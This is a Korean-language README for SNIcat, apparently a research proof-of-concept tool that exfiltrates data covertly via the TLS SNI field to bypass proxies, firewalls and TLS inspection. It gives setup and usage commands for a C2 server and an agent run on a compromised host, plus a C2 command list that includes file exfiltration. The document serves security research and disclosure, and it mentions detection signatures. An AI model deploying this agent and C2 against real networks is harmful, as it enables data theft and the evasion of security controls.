
SNIcat은 은밀 채널 방법을 통해 서버 이름 표시 (TLS 클라이언트 Hello 확장)를 활용하여 데이터 유출을 수행하는 개념 증명 도구입니다. 이 도구는 손상된 내부 호스트에 있는 에이전트와 에이전트를 제어하고 유출된 데이터를 수집하는 Command&Control 서버로 구성됩니다.
SNIcat의 전체 이야기는 블로그 게시물에서 확인할 수 있습니다.
SNIcat은 macOS 및 다양한 리눅스 배포판에서 테스트되었습니다. 쉽게 포팅될 수 있지만, 현재 Windows 버전은 없습니다. 이는 단지 PoC 도구이기 때문입니다.
이 유출 방법은 명시적 프록시를 통해 연결할 때 TLS 클라이언트 Hello가 아닌 HTTP CONNECT를 사용하기 때문에 명시적 프록시에서는 작동하지 않습니다.
SNIcat은 우리가 테스트하지 않은 제품 및 소프트웨어 버전에서는 작동하지 않을 수 있지만, 그렇다고 해당 제품 및/또는 소프트웨어 버전이 취약하지 않다는 의미는 아닙니다.

우리는 웹 프록시, 차세대 방화벽(NGFW), TLS 가로채기 및 검사 전용 솔루션과 같은 보안 경계 솔루션을 특히 우회하는 새로운 은밀한 데이터 유출 방법을 발견했습니다. 우리의 테스트는 이것이 다양한 유형의 보안 솔루션과 다양한 공급업체의 솔루션에 영향을 미치는 광범위한 문제임을 입증합니다. 우리는 Cisco, F5 Networks, Palo Alto Networks 및 Fortinet의 제품에 대해 우리의 기술을 성공적으로 테스트했으며, 다른 많은 공급업체도 취약할 것으로 추정합니다.
우리의 유출 방법 SNIcat을 사용하여, 우리가 사용하는 명령 및 제어(C2) 도메인이 보안 솔루션 자체에 내장된 일반적인 평판 및 위협 방지 기능에 의해 차단되더라도 TLS 검사를 수행하는 보안 경계 솔루션을 우회할 수 있음을 발견했습니다. 요컨대, 사용자를 보호하기 위해 설계된 솔루션이 사용자에게 새로운 취약점을 도입했음을 발견했습니다.
또한 이 특정 도구를 탐지하기 위한 Suricata 시그니처를 제공했습니다.
리포지토리 클론:
https://github.com/mnemonic-no/SNIcat.git
의존성 설치:
pip3 install -r requirements.txt --user
C2
공개적으로 신뢰할 수 있는 CA에서 와일드카드 인증서와 키를 획득하세요. 이것이 GOOD_CERT 및 GOOD_CERT_KEY를 나타냅니다.
자체 서명된 인증서와 키(신뢰 저장소에 없음)를 BAD_CERT 및 BAD_CERT_KEY로 사용하세요.
(*) USAGE: 'python3 snicat_c2.py <LISTENING_PORT> <GOOD_CERT> <GOOD_CERT_KEY> <BAD_CERT> <BAD_CERT_KEY> log={on|off}'
(*) EXAMPLE: 'python3 snicat_c2_final.py 443 certs/good.pem certs/good.key certs/ssl-cert-snakeoil.pem log=off'
Agent
(*) USAGE: 'python3 snicat_agent.py <C2_SERVER_IP> <C2_SERVER_PORT> log={on|off}'
(*) Example: 'python3 snicat_agent.py 192.0.2.1 443 log=off'
C2 사용 가능 명령어
LIST - 현재 폴더의 모든 내용 표시
LS - 현재 폴더의 파일만 표시
SIZE - 현재 폴더의 파일 크기 표시
LD - 현재 폴더의 모든 디렉토리 표시
CB - 루트 트리 폴더로 이동 - 'cd ..'과 유사
CD <folder-id> - 지정된 폴더로 이동
EX <file-id> - 지정된 파일 유출
ALIVE - 에이전트 활성/비활성 확인
EXIT - C2 서버 종료